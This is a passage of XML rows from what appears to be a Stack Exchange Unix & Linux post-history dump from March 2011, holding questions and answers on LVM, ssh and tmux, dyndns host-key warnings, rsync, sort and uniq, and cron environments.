  <row Id="23691" PostHistoryTypeId="2" PostId="9906" RevisionGUID="a9f70404-6822-4cc9-96e8-807114b77896" CreationDate="2011-03-22T19:17:57.953" UserId="4671" Text="I think&#xD;&#xA;&#xD;&#xA;    # pvdisplay&#xD;&#xA;&#xD;&#xA;shows you the physical device(s) corresponding to all your volume groups.&#xD;&#xA;&#xD;&#xA;Inter alia, my system shows, for example&#xD;&#xA;&#xD;&#xA;    --- Physical volume ---&#xD;&#xA;      PV Name               /dev/sdc6&#xD;&#xA;      VG Name               olddebian&#xD;&#xA;      PV Size               186.26 GiB / not usable 638.00 KiB&#xD;&#xA;      Allocatable           yes &#xD;&#xA;      PE Size               4.00 MiB&#xD;&#xA;      Total PE              47683&#xD;&#xA;      Free PE               5443&#xD;&#xA;      Allocated PE          42240&#xD;&#xA;      PV UUID               QcpaYU-GuWX-ssIl-U2i9-26Cq-QhQf-fgOyD4&#xD;&#xA;&#xD;&#xA;This is the only one of my VGs that corresponds to a raw partition. The others are on top of software raid devices." />
  <row Id="23693" PostHistoryTypeId="2" PostId="9908" RevisionGUID="7e1d400a-43bf-43f7-a1b9-cec846291fda" CreationDate="2011-03-22T20:02:42.657" UserId="5774" Text="Maybe I'm getting the question wrong, since English is not my first language, but wouldn't it be better if you edited the video with a tool like **Kino** instead of making a playlist like that?&#xD;&#xA;&#xD;&#xA;You can adjust the starting and stopping times as you want, and I don't think it would be that difficult.&#xD;&#xA;&#xD;&#xA;Sry for my english!&#xD;&#xA;Cheers.&#xD;&#xA;" />
  <row Id="23694" PostHistoryTypeId="6" PostId="9905" RevisionGUID="68681eff-dcc2-43b6-977a-d3b5f070b7ad" CreationDate="2011-03-22T20:29:53.433" UserId="885" Comment="edited tags" Text="élinuxàélvmà" />
  <row Id="23695" PostHistoryTypeId="6" PostId="9891" RevisionGUID="73be8a51-e17f-41a7-b43e-4b330c67c123" CreationDate="2011-03-22T20:30:41.813" UserId="885" Comment="edited tags" Text="élinuxàécommandölineàéosxàésambaàéfileösharingà" />
  <row Id="23696" PostHistoryTypeId="6" PostId="9885" RevisionGUID="bf32f4a9-a2ba-457e-83d9-1786812459ab" CreationDate="2011-03-22T20:31:15.630" UserId="885" Comment="edited tags" Text="élinuxàékernelàéconfigurationàécompilingàégentooà" />
  <row Id="23697" PostHistoryTypeId="25" PostId="9905" RevisionGUID="7a6d2ed2-1373-4910-8709-85d1c319c3dc" CreationDate="2011-03-22T20:31:30.870" Comment="http://twitter.com/#!/StackUnix/status/50293547764682752" />
  <row Id="23701" PostHistoryTypeId="2" PostId="9910" RevisionGUID="cad2ca66-faf6-42d7-b6d8-1432082ac4b6" CreationDate="2011-03-22T21:35:55.560" UserId="885" Text="When you run `ssh example.com`, the ssh daemon starts a login shell for you, and the login shell reads your `~/.profile` (or `~/.bash_profile` or `~/.zprofile` or `~/.login` depending on your login shell). When you specify a command to run remotely (with or without `-t`), the ssh daemon starts an ordinary shell, so your `.profile` is not read. Remedy:&#xD;&#xA;&#xD;&#xA;    ssh example.com -t '. /etc/profile; . ~/.profile; tmux attach'&#xD;&#xA;&#xD;&#xA;Most ssh daemons are configured to refuse transmitting environment variables except for `LC_*`. If the ssh daemon on `example.com` allows it, you can abuse a custom `LC_*` variable to start tmux automatically — put this in your `~/.profile`:&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$LC_tmux_session&quot; ] &amp;&amp; tmux has -t &quot;$LC_tmux_session&quot;; then&#xD;&#xA;      exec tmux attach -t &quot;$LC_tmux_session&quot;&#xD;&#xA;    elif [ -n &quot;${LC_tmux_session+1}&quot; ] &amp;&amp; tmux has; then&#xD;&#xA;      exec tmux attach&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;then log in with `LC_tmux_session= ssh example.com` or `LC_tmux_session=session_name ssh example.com`.&#xD;&#xA;&#xD;&#xA;[This answer](http://superuser.com/questions/207200/how-can-i-set-environment-variables-for-a-remote-rsync-process/207262#207262) has more information about passing environment variables over ssh.&#xD;&#xA;" />
  <row Id="23702" PostHistoryTypeId="6" PostId="9883" RevisionGUID="b159f2b4-0c2c-45e8-bb79-d5dfd7b90e03" CreationDate="2011-03-22T21:36:21.083" UserId="885" Comment="edited tags" Text="ésshàéenvironmentövariablesàétmuxà" />
  <row Id="23703" PostHistoryTypeId="2" PostId="9911" RevisionGUID="2f3f5256-8454-402e-be3d-b59ee9ae6e85" CreationDate="2011-03-22T21:42:18.270" UserId="5664" Text="The webcam is working, because i can see me with the &quot;Cheese&quot; app. ok.....&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I installed: google-talkplugin_current_i386.rpm&lt;br&gt;&#xD;&#xA;then i opened chrome, and this is what i see: &lt;br&gt;&#xD;&#xA;http://i.imgur.com/cUopi.png&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;the webcam part is black..&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;What can i do, so that &quot;google chat&quot; will recognize my webcam?&lt;br&gt;&#xD;&#xA;I've been on this for hours..and i'm tired now.. :\&lt;br&gt;&#xD;&#xA;can someone help?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;i tried to disable all plugins, it's the same&lt;br&gt;&#xD;&#xA;i tried it in firefox..it freezez&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;the only problem is the video part..why can't i see the webcams picutre? &#xD;&#xA;" />
  <row Id="23704" PostHistoryTypeId="1" PostId="9911" RevisionGUID="2f3f5256-8454-402e-be3d-b59ee9ae6e85" CreationDate="2011-03-22T21:42:18.270" UserId="5664" Text="Google chat video - Fedora / Google Chrome" />
  <row Id="23705" PostHistoryTypeId="3" PostId="9911" RevisionGUID="2f3f5256-8454-402e-be3d-b59ee9ae6e85" CreationDate="2011-03-22T21:42:18.270" UserId="5664" Text="élinuxà" />
  <row Id="23706" PostHistoryTypeId="6" PostId="9911" RevisionGUID="243f804c-a75b-498f-a57b-44dcf1997fdf" CreationDate="2011-03-22T21:51:17.553" UserId="885" Comment="edited tags" Text="élinuxàévideoàéchromeàéchatà" />
  <row Id="23707" PostHistoryTypeId="2" PostId="9912" RevisionGUID="a2a7022c-415d-4ee0-9d1e-4d1f95f9537c" CreationDate="2011-03-22T21:55:56.393" UserId="885" Text="Here's a script that moves files from under `/path/to/source/root` to the corresponding path under `/path/to/destination/root`.&#xD;&#xA;&#xD;&#xA;* If a directory exists in both the source and the destination, the contents are moved-and-merged recursively.&#xD;&#xA;* If a file or directory exists in the source but not in the destination, it is moved.&#xD;&#xA;* Any file or directory that already exists in the destination is left behind. (In particular merged directories are left behind in the source. This is not easy to fix.)&#xD;&#xA;&#xD;&#xA;Beware, untested code.&#xD;&#xA;&#xD;&#xA;    export dest='/path/to/destination/root'&#xD;&#xA;    cd /path/to/source/root&#xD;&#xA;    find . -type d \( -exec sh -c '[ -d &quot;$dest/$0&quot; ]' -o&#xD;&#xA;                      -exec sh -c 'mv &quot;$0&quot; &quot;$dest/$0&quot;' {} \; -prune \) \&#xD;&#xA;        -o -exec sh -c '&#xD;&#xA;            if \! [ -e &quot;$dest/$0&quot; ]; then&#xD;&#xA;              mv -f &quot;$0&quot; &quot;$dest/$0&quot;&#xD;&#xA;            fi&#xD;&#xA;    ' {} \;&#xD;&#xA;" />
  <row Id="23708" PostHistoryTypeId="6" PostId="9899" RevisionGUID="a3c7a97f-1e50-4039-8137-40db6bc1d1fe" CreationDate="2011-03-22T21:56:15.020" UserId="885" Comment="edited tags" Text="éshellàécommandölineàérenameà" />
  <row Id="23709" PostHistoryTypeId="2" PostId="9913" RevisionGUID="4f9acb58-43da-4eca-b82e-5b768bc405e9" CreationDate="2011-03-22T21:58:59.963" UserId="5960" Text="I failed to find whether these can really be applied to playlists but you may look into Edit Decision Lists (EDLs). Here are some links to get you started:&#xD;&#xA;&#xD;&#xA;1. [MPlayer manual about EDL support][1]&#xD;&#xA;&#xD;&#xA;[1]: http://www.mplayerhq.hu/DOCS/HTML/en/edl.html&#xD;&#xA;&#xD;&#xA;2. [MPlayer EDL tutorial][2]&#xD;&#xA;&#xD;&#xA;[2]: http://forums.debian.net/viewtopic.php?t=17783&#xD;&#xA;&#xD;&#xA;3. [Video editing from the command line][2] LinuxGazette article&#xD;&#xA;&#xD;&#xA;[3]: http://linuxgazette.net/178/brownss.html&#xD;&#xA;&#xD;&#xA;4. [The sensible cinema project][3]&#xD;&#xA;&#xD;&#xA;[4]: https://github.com/rdp/sensible-cinema&#xD;&#xA;&#xD;&#xA;If you don't mind the small pauses between the videos you could just run mplayer several times from a script with different EDL files each time. If pauses are a no-no then maybe you should create a new video just like varrtto suggested." />
  <row Id="23710" PostHistoryTypeId="5" PostId="9887" RevisionGUID="4cda4bb0-0d43-4f8e-b34a-45a0e6208e11" CreationDate="2011-03-22T22:00:50.680" UserId="885" Comment="title; grammar; formatting; tags" Text="If i ssh to my remote OpenWrt router [&quot;via DynDNS&quot;]&#xD;&#xA;&#xD;&#xA;1. I get the message&#xD;&#xA;&#xD;&#xA;        @    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @&#xD;&#xA;&#xD;&#xA;2. Ok, i delete the old line in `~/.ssh/known_hosts`, add the new one&#xD;&#xA;&#xD;&#xA;3. But my password wasn't accepted (even though I copy+pasted the good password)&#xD;&#xA;&#xD;&#xA;4. But: if someone reboots the remote router it says:&#xD;&#xA;&#xD;&#xA;        @    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @&#xD;&#xA;&#xD;&#xA;5. Ok, again, I delete the line in `~/.ssh/known_hosts`, add the new one [the old one??], and presto! I can log in!&#xD;&#xA;&#xD;&#xA;Why?&#xD;&#xA;&#xD;&#xA;Is this because a dyndns update failed, and I'm trying to log in to the wrong IP? And if the router is rebooted, the dyndns IP will be updated, so that the IP is correct, and I can log in? Is that why it says “host identification failed”?&lt;br&gt;&#xD;&#xA;&#xD;&#xA;It happened for the 3rd time... I don't know what's exactly is going on.&#xD;&#xA;" />
  <row Id="23711" PostHistoryTypeId="4" PostId="9887" RevisionGUID="4cda4bb0-0d43-4f8e-b34a-45a0e6208e11" CreationDate="2011-03-22T22:00:50.680" UserId="885" Comment="title; grammar; formatting; tags" Text="OpenWrt ssh host identification with dyndns" />
  <row Id="23712" PostHistoryTypeId="6" PostId="9887" RevisionGUID="4cda4bb0-0d43-4f8e-b34a-45a0e6208e11" CreationDate="2011-03-22T22:00:50.680" UserId="885" Comment="title; grammar; formatting; tags" Text="ésshàédnsàéopenwrtàédyndnsà" />
  <row Id="23716" PostHistoryTypeId="2" PostId="9915" RevisionGUID="d423a1d7-152f-486a-890f-b7a8aedbab4a" CreationDate="2011-03-22T22:18:56.617" UserId="885" Text="Your theory is basically right, in that your issue is caused by dyndns. More precisely, your issue is caused by having a dynamic IP address; dyndns makes things easier but not completely seamless.&#xD;&#xA;&#xD;&#xA;When your router receives a new dynamic IP address (because it rebooted, or because your provider disconnected you for any reason¹) [step 1, step 4], you need to log in to the new IP. When your router connects, it sends a message to your dyndns provider notifying it of the address change. When you run `ssh johnny8888.dyndns.example.com`, the ssh client looks up the IP address corresponding to `johnny8888.dyndns.example.com`.&#xD;&#xA;&#xD;&#xA;DNS information takes some time to propagate, because it is heavily cached. For typical dyndns use, the delay is a few minutes. So if you try to connect soon after an IP address change, you might still reach the old IP address [step 3], which is now attributed to a different machine. If this machine runs an ssh server, you get the remote host identification changed warning.&#xD;&#xA;&#xD;&#xA;Add `CheckHostIP No` to your `~/.ssh/config`, under the section for your router. Then ssh won't check the key associated with your IP address (which is useless since you have a dynamic address), only the key associated with your host name (which won't change).&#xD;&#xA;&#xD;&#xA;Note that most of the time, you will *not* get the remote host identification change warning. You only get it if you try to log into somebody else's machine, or tried to in the past. (Your tries would be accidental, when you were unlucky to try connecting after an IP address change and before the DNS update had propagated.)&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Many ISPs disconnect each client every day or every few days, because this facilitates their load balancing. You can reconnect instantly, but may get a different IP address.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="23717" PostHistoryTypeId="2" PostId="9916" RevisionGUID="03098861-9ac5-43a7-8bb0-5dffd1ff9e87" CreationDate="2011-03-22T22:21:59.280" UserId="2844" Text="Hi johnny. Yes, I believe you answered your own question. See Gilles' answer above.&#xD;&#xA;&#xD;&#xA;But most importantly, I'd recommend making your dyndns updates run more frequently. If possible, it would be ideal that a dyndns update run as soon your IP changes but I'm not sure if openwrt provides this functionality." />
  <row Id="23718" PostHistoryTypeId="5" PostId="9867" RevisionGUID="e8d2dbb1-411a-4bc2-abd7-5bd229cdbff9" CreationDate="2011-03-22T22:25:11.320" UserId="885" Comment="added 4 characters in body; edited tags; edited title" Text="It's like this: `“` (U+201C) `”` (U+201D)." />
  <row Id="23719" PostHistoryTypeId="4" PostId="9867" RevisionGUID="e8d2dbb1-411a-4bc2-abd7-5bd229cdbff9" CreationDate="2011-03-22T22:25:11.320" UserId="885" Comment="added 4 characters in body; edited tags; edited title" Text="how to type “smart quotes” (U+201C, U+201D)" />
  <row Id="23720" PostHistoryTypeId="6" PostId="9867" RevisionGUID="e8d2dbb1-411a-4bc2-abd7-5bd229cdbff9" CreationDate="2011-03-22T22:25:11.320" UserId="885" Comment="added 4 characters in body; edited tags; edited title" Text="éxorgàékeyboardàéspecialöcharactersàéunicodeà" />
  <row Id="23721" PostHistoryTypeId="2" PostId="9917" RevisionGUID="0bcaadaa-9820-49a1-8f52-d0b3ad8b1f55" CreationDate="2011-03-22T22:29:12.127" UserId="5956" Text="Do you have the latest flash plugin?&#xD;&#xA;&#xD;&#xA;Also, you can give [Gnash][1] a try, see what happens :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/s/gnash/" />
  <row Id="23722" PostHistoryTypeId="2" PostId="9918" RevisionGUID="0ebaca59-b267-435e-b7a5-4d80611c7303" CreationDate="2011-03-22T22:29:35.230" UserId="2671" Text="Is there some better solution for printing unique lines other than a combination of `sort` and `uniq`?" />
  <row Id="23723" PostHistoryTypeId="1" PostId="9918" RevisionGUID="0ebaca59-b267-435e-b7a5-4d80611c7303" CreationDate="2011-03-22T22:29:35.230" UserId="2671" Text="Printing unique lines" />
  <row Id="23724" PostHistoryTypeId="3" PostId="9918" RevisionGUID="0ebaca59-b267-435e-b7a5-4d80611c7303" CreationDate="2011-03-22T22:29:35.230" UserId="2671" Text="écommandölineàétextöprocessingà" />
  <row Id="23725" PostHistoryTypeId="2" PostId="9919" RevisionGUID="ea963183-8b8d-4e09-8a57-e7b7efbc7485" CreationDate="2011-03-22T22:35:04.520" UserId="885" Text="If you have a &lt;kbd&gt;Compose&lt;/kbd&gt; key (on some PC configurations, it's the key to the left of the right &lt;kbd&gt;Ctrl&lt;/kbd&gt; key):  &#xD;&#xA;    &lt;kbd&gt;Compose&lt;/kbd&gt; &lt;kbd&gt;&amp;lt;&lt;/kbd&gt; &lt;kbd&gt;&quot;&lt;/kbd&gt; → `“`&#xD;&#xA;    &lt;kbd&gt;Compose&lt;/kbd&gt; &lt;kbd&gt;&amp;gt;&lt;/kbd&gt; &lt;kbd&gt;&quot;&lt;/kbd&gt; → `”`&#xD;&#xA;" />
  <row Id="23726" PostHistoryTypeId="2" PostId="9920" RevisionGUID="eac625f1-49e6-4d41-b529-402612d0f20b" CreationDate="2011-03-22T22:35:31.713" UserId="3169" Text="`rsync` would probably be a better option here.  It's as simple as `rsync -a subdir/ ./`.&#xD;&#xA;&#xD;&#xA;My test tree in `filename`:`contents` format:&#xD;&#xA;&#xD;&#xA;    ./file1:root&#xD;&#xA;    ./file2:root&#xD;&#xA;    ./dir/file3:dir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;    ./subdir/dir/file3:subdir&#xD;&#xA;    ./subdir/file1:subdir&#xD;&#xA;&#xD;&#xA;Running `rsync`:&#xD;&#xA;&#xD;&#xA;    $ rsync -a -v subdir/ ./&#xD;&#xA;    sending incremental file list&#xD;&#xA;    ./&#xD;&#xA;    file1&#xD;&#xA;    dir/&#xD;&#xA;    dir/file3&#xD;&#xA;&#xD;&#xA;End result:&#xD;&#xA;&#xD;&#xA;    ./file1:subdir&#xD;&#xA;    ./file2:root&#xD;&#xA;    ./dir/file3:subdir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;    ./subdir/dir/file3:subdir&#xD;&#xA;    ./subdir/file1:subdir&#xD;&#xA;&#xD;&#xA;Which shows that:&#xD;&#xA;&#xD;&#xA;  * file1 was copied from `subdir` to the `.`&#xD;&#xA;  * file3 was copied from `subdir/dir` to `dir`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23727" PostHistoryTypeId="6" PostId="9798" RevisionGUID="941188c1-cbcf-4834-86ec-35a9369b7c42" CreationDate="2011-03-22T22:36:50.323" UserId="4" Comment="edited tags" Text="ébashàéfilesystemsàéext4à" />
  <row Id="23728" PostHistoryTypeId="5" PostId="9920" RevisionGUID="9f9f3885-8d86-4b46-aa92-0c499e2db78a" CreationDate="2011-03-22T22:41:43.373" UserId="3169" Comment="deleted 75 characters in body" Text="`rsync` would probably be a better option here.  It's as simple as `rsync -a */ ./`.&#xD;&#xA;&#xD;&#xA;My test tree in `filename`:`contents` format:&#xD;&#xA;&#xD;&#xA;    ./file1:root&#xD;&#xA;    ./file2:root&#xD;&#xA;    ./dir/file3:dir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;    ./subdir/dir/file3:subdir&#xD;&#xA;    ./subdir/file1:subdir&#xD;&#xA;&#xD;&#xA;Running `rsync`:&#xD;&#xA;&#xD;&#xA;    $ rsync -a -v */ ./&#xD;&#xA;    sending incremental file list&#xD;&#xA;    ./&#xD;&#xA;    file1&#xD;&#xA;    file3&#xD;&#xA;    file4&#xD;&#xA;    dir/&#xD;&#xA;    dir/file3&#xD;&#xA;&#xD;&#xA;End result:&#xD;&#xA;&#xD;&#xA;    ./file1:subdir&#xD;&#xA;    ./file2:root&#xD;&#xA;    ./file3:dir&#xD;&#xA;    ./file4:dir&#xD;&#xA;    ./dir/file3:subdir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;    ./subdir/dir/file3:subdir&#xD;&#xA;    ./subdir/file1:subdir&#xD;&#xA;" />
  <row Id="23729" PostHistoryTypeId="2" PostId="9921" RevisionGUID="792f0bc5-b7a1-414e-9c91-7b0226d44b4d" CreationDate="2011-03-22T22:42:54.153" UserId="5842" Text="Some versions of `sort` have a `-u` flag that does the `uniq` part directly (GNU coreutils has it). Not portable though." />
  <row Id="23730" PostHistoryTypeId="5" PostId="9920" RevisionGUID="5a094adf-2a31-4279-8b4c-1a916773ff60" CreationDate="2011-03-22T22:47:19.653" UserId="3169" Comment="added 378 characters in body; added 109 characters in body; added 37 characters in body; deleted 171 characters in body" Text="`rsync` would probably be a better option here.  It's as simple as `rsync -a subdir/ ./`.&#xD;&#xA;&#xD;&#xA;My test tree in `filename`:`contents` format:&#xD;&#xA;&#xD;&#xA;    ./file1:root&#xD;&#xA;    ./file2:root&#xD;&#xA;    ./dir/file3:dir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;    ./subdir/dir/file3:subdir&#xD;&#xA;    ./subdir/file1:subdir&#xD;&#xA;&#xD;&#xA;Running `rsync`:&#xD;&#xA;&#xD;&#xA;    $ rsync -a -v subdir/ ./&#xD;&#xA;    sending incremental file list&#xD;&#xA;    ./&#xD;&#xA;    file1&#xD;&#xA;    dir/&#xD;&#xA;    dir/file3&#xD;&#xA;&#xD;&#xA;End result:&#xD;&#xA;&#xD;&#xA;    ./file1:subdir&#xD;&#xA;    ./file2:root&#xD;&#xA;    ./dir/file3:subdir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;    ./subdir/dir/file3:subdir&#xD;&#xA;    ./subdir/file1:subdir&#xD;&#xA;&#xD;&#xA;Accounting for each file:&#xD;&#xA;&#xD;&#xA;  * `./file1` overwritten by `./subdir/file1`&#xD;&#xA;  * `./file2` untouched&#xD;&#xA;  * `./dir/file3` overwritten by `./subdir/dir/file3`&#xD;&#xA;  * `./dir/file4` untouched&#xD;&#xA;  * `./subdir/dir/file3` untouched&#xD;&#xA;  * `./subdir/file1` untouched&#xD;&#xA;&#xD;&#xA;If this is wrong, can you please provide a similar example (e.g. using my test tree from near the top of this answer) with the desired result?" />
  <row Id="23731" PostHistoryTypeId="5" PostId="9921" RevisionGUID="8446ded9-93ed-42b4-a7b7-8a3629f943d5" CreationDate="2011-03-22T22:54:32.997" UserId="5842" Comment="added 93 characters in body" Text="Some (most?) versions of `sort` have a `-u` flag that does the `uniq` part directly. Might be some line length restrictions depending on the implementation though, but you had those already with plain `sort|uniq`." />
  <row Id="23732" PostHistoryTypeId="5" PostId="9920" RevisionGUID="6ad5df8a-6cd9-4811-ae6c-79559203b3e5" CreationDate="2011-03-22T22:54:43.420" UserId="3169" Comment="added 198 characters in body; deleted 257 characters in body" Text="`rsync` would probably be a better option here.  It's as simple as `rsync -a subdir/ ./`.&#xD;&#xA;&#xD;&#xA;My test tree in `filename`:`contents` format:&#xD;&#xA;&#xD;&#xA;    ./file1:root&#xD;&#xA;    ./file2:root&#xD;&#xA;    ./dir/file3:dir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;    ./subdir/dir/file3:subdir&#xD;&#xA;    ./subdir/file1:subdir&#xD;&#xA;&#xD;&#xA;Running `rsync`:&#xD;&#xA;&#xD;&#xA;    $ rsync -a -v subdir/ ./&#xD;&#xA;    sending incremental file list&#xD;&#xA;    ./&#xD;&#xA;    file1&#xD;&#xA;    dir/&#xD;&#xA;    dir/file3&#xD;&#xA;&#xD;&#xA;Gives:&#xD;&#xA;&#xD;&#xA;    ./file1:subdir&#xD;&#xA;    ./file2:root&#xD;&#xA;    ./dir/file3:subdir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;    ./subdir/dir/file3:subdir&#xD;&#xA;    ./subdir/file1:subdir&#xD;&#xA;&#xD;&#xA;And then, to emulate `mv`, you probably want to remove the source directory:&#xD;&#xA;&#xD;&#xA;    $ rm -r subdir/&#xD;&#xA;&#xD;&#xA;Giving:&#xD;&#xA;&#xD;&#xA;    ./file1:subdir&#xD;&#xA;    ./file2:parent&#xD;&#xA;    ./dir/file3:subdir&#xD;&#xA;    ./dir/file4:dir&#xD;&#xA;&#xD;&#xA;If this is wrong, can you please provide a similar example (e.g. using my test tree from near the top of this answer) with the desired result?" />
  <row Id="23733" PostHistoryTypeId="2" PostId="9922" RevisionGUID="1e0ba8cf-f8d0-4623-bcc5-6d49f45a29e9" CreationDate="2011-03-22T23:03:29.493" UserId="5968" Text="I think that ARP-table just becomes empty.&#xD;&#xA;Try this:&#xD;&#xA;&#xD;&#xA;    arping -c 1 -I firewire0 remote_ip" />
  <row Id="23734" PostHistoryTypeId="2" PostId="9923" RevisionGUID="be55aaa3-d4d5-4c31-a2a6-6feb2dc810b9" CreationDate="2011-03-22T23:06:13.630" UserId="885" Text="To print each identical line only one, in any order:&#xD;&#xA;&#xD;&#xA;    sort -u&#xD;&#xA;&#xD;&#xA;To print only the unique lines, in any order:&#xD;&#xA;&#xD;&#xA;    sort | uniq -u&#xD;&#xA;&#xD;&#xA;To print each identical line only once, in the order of their first occurrence: (for each line, print the line if it hasn't been seen yet, then in any case increment the seen counter)&#xD;&#xA;&#xD;&#xA;    awk '!seen[$0] {print}&#xD;&#xA;         {++seen[$0]}'&#xD;&#xA;&#xD;&#xA;To print only the unique lines, in the order of their first occurrence: (record each line in `seen`, and also in `lines` if it's the first occurrence; at the end of the input, print the lines in order of occurrence but only the ones seen only once)&#xD;&#xA;&#xD;&#xA;    awk '!seen[$0]++ {lines[i++]=$0}&#xD;&#xA;         END {for (i in lines) if (seen[lines[i]]==1) print lines[i]}'&#xD;&#xA;" />
  <row Id="23735" PostHistoryTypeId="5" PostId="8903" RevisionGUID="c74a886e-e645-450e-b71b-4716b0cdc0f6" CreationDate="2011-03-22T23:20:53.053" UserId="885" Comment="formatting; tags" Text="Below is the script which i am trying to run, which runs without any issue &#xD;&#xA;&#xD;&#xA;    for i in `seq 200 2100`&#xD;&#xA;    do&#xD;&#xA;      usr=(`ssh -t -t -o ConnectTimeout=60 machine$1 finger | tail -1 | awk '{print$1}'`) &#xD;&#xA;      echo $usr&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;But once I add it to crontab, it doesn't give me the user.&#xD;&#xA;&#xD;&#xA;    22  12  *  *  *  sh /home/subrahmanyam/Scripts/who.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please give your thoughts..... &#xD;&#xA;&#xD;&#xA;may be cron demon is running, so we need to include some binaries...?&#xD;&#xA;" />
  <row Id="23736" PostHistoryTypeId="6" PostId="8903" RevisionGUID="c74a886e-e645-450e-b71b-4716b0cdc0f6" CreationDate="2011-03-22T23:20:53.053" UserId="885" Comment="formatting; tags" Text="éshellàésshàécronàéauthenticationà" />
  <row Id="23737" PostHistoryTypeId="25" PostId="9918" RevisionGUID="57c8847e-c6cc-4920-a515-edeefd89d345" CreationDate="2011-03-22T23:31:31.580" Comment="http://twitter.com/#!/StackUnix/status/50338849540407296" />
  <row Id="23738" PostHistoryTypeId="5" PostId="8028" RevisionGUID="22953a33-1521-4b9f-a4e2-e69f5c3a86a0" CreationDate="2011-03-22T23:53:15.843" UserId="885" Comment="added 853 characters in body; added 2 characters in body" Text="[Cron](http://en.wikipedia.org/wiki/Cron) is a daemon that runs periodic scheduled jobs.&#xD;&#xA;&#xD;&#xA;Use the `crontab` command to edit the table of scheduled jobs.&#xD;&#xA;&#xD;&#xA;Use [tag:at] to schedule a job for one execution only at a specific date.&#xD;&#xA;&#xD;&#xA;### Common pitfalls&#xD;&#xA;&#xD;&#xA;If a command works when you type it in a terminal but not from a crontab, here are some common reasons:&#xD;&#xA;&#xD;&#xA;* Cron provides a limited environment, e.g., a minimal `$PATH`.&#xD;&#xA;* Cron uses `/bin/sh`, which may not be the shell you normally use.&#xD;&#xA;* Cron treats the `%` character specially (it is turned into a newline in the command).&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/9466/why-did-my-crontab-not-trigger&#xD;&#xA;* http://unix.stackexchange.com/questions/1224/run-a-script-via-cron-every-other-week&#xD;&#xA;* http://unix.stackexchange.com/questions/207/where-are-cron-errors-logged&#xD;&#xA;" />
  <row Id="23739" PostHistoryTypeId="5" PostId="8029" RevisionGUID="891c85c2-ea38-4504-91ab-1a30e26ca266" CreationDate="2011-03-22T23:53:16.107" UserId="885" Comment="added 2 characters in body" Text="Cron is a job scheduler that allows users to run commands periodically." />
  <row Id="23740" PostHistoryTypeId="2" PostId="9924" RevisionGUID="ea0cab74-d4be-47be-8c18-139ce763b90b" CreationDate="2011-03-23T00:04:33.177" UserId="885" Text="The most common reason why a script works from the command line but not from a crontab is that the script depends on an environment variable. Crontabs only have a few environment variables set: typically only `HOME`, `USER`, `SHELL` (set to `/bin/sh`) and `PATH` (set to a system default). If you need more, you must define them in the crontab file, or source `~/.profile` from the command.&#xD;&#xA;&#xD;&#xA;Perhaps you have two versions of PHP installed, one that comes first in your command line `$PATH` and one that comes first in your system default `$PATH`, and the system default PHP changed recently. But it's impossible to make more than an educated guess since you don't say what error you're getting.&#xD;&#xA;" />
  <row Id="23741" PostHistoryTypeId="5" PostId="9856" RevisionGUID="4554fa2e-a1be-4d72-822a-f08f9b652bac" CreationDate="2011-03-23T00:20:02.173" UserId="885" Comment="formatting" Text="I installed a new file type to share MIME database. But `xdg-mime query filetype` cannot tell the new type. This problem only happens on my own Linux OS which does not use GNOME or KDE as its desktop. On Ubuntu, the same process works well.&#xD;&#xA;&#xD;&#xA;I found that `xdg-mime query filetype` uses &quot;file -i filename&quot; under the hood on my OS but uses gnomevfs on Ubuntu. &#xD;&#xA;&#xD;&#xA;Here are my steps:&#xD;&#xA;&#xD;&#xA;1. wrote a xml file for my new file type `my_file.xml`&#xD;&#xA;2. `xdg-mime install my_file.xml`&#xD;&#xA;3. `xdg-mime query filetype` &amp;lt;name of file to query&amp;gt;  .... no output :-(&#xD;&#xA;&#xD;&#xA;I checked `/usr/share/mime/applications` and found the xml entry generated by update-mime-database there. And the C API `g_file_info_get_content_type()` can get the proper mime type.&#xD;&#xA;&#xD;&#xA;So it seems the shared-mime-info has been updated successfully. But the &quot;file&quot; command still fails, why?&#xD;&#xA;&#xD;&#xA;Here is my xml file:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;mime-info xmlns='http://www.freedesktop.org/standards/shared-mime-info'&gt;&#xD;&#xA;    	&lt;mime-type type=&quot;application/vnd.xxx.xxx.xxx&quot;&gt;&#xD;&#xA;    		&lt;comment&gt;xxxx&lt;/comment&gt;&#xD;&#xA;    		&lt;glob pattern=&quot;*.dcf&quot;/&gt;&#xD;&#xA;    	&lt;/mime-type&gt;&#xD;&#xA;    &lt;/mime-info&gt;&#xD;&#xA;" />
  <row Id="23742" PostHistoryTypeId="4" PostId="9856" RevisionGUID="4554fa2e-a1be-4d72-822a-f08f9b652bac" CreationDate="2011-03-23T00:20:02.173" UserId="885" Comment="formatting" Text="Why does `xdg-mime query filetype ...` fail to find a new added file type?" />
  <row Id="23743" PostHistoryTypeId="6" PostId="9856" RevisionGUID="4554fa2e-a1be-4d72-822a-f08f9b652bac" CreationDate="2011-03-23T00:20:02.173" UserId="885" Comment="formatting" Text="élinuxàémimeötypesàéfreedesktopà" />
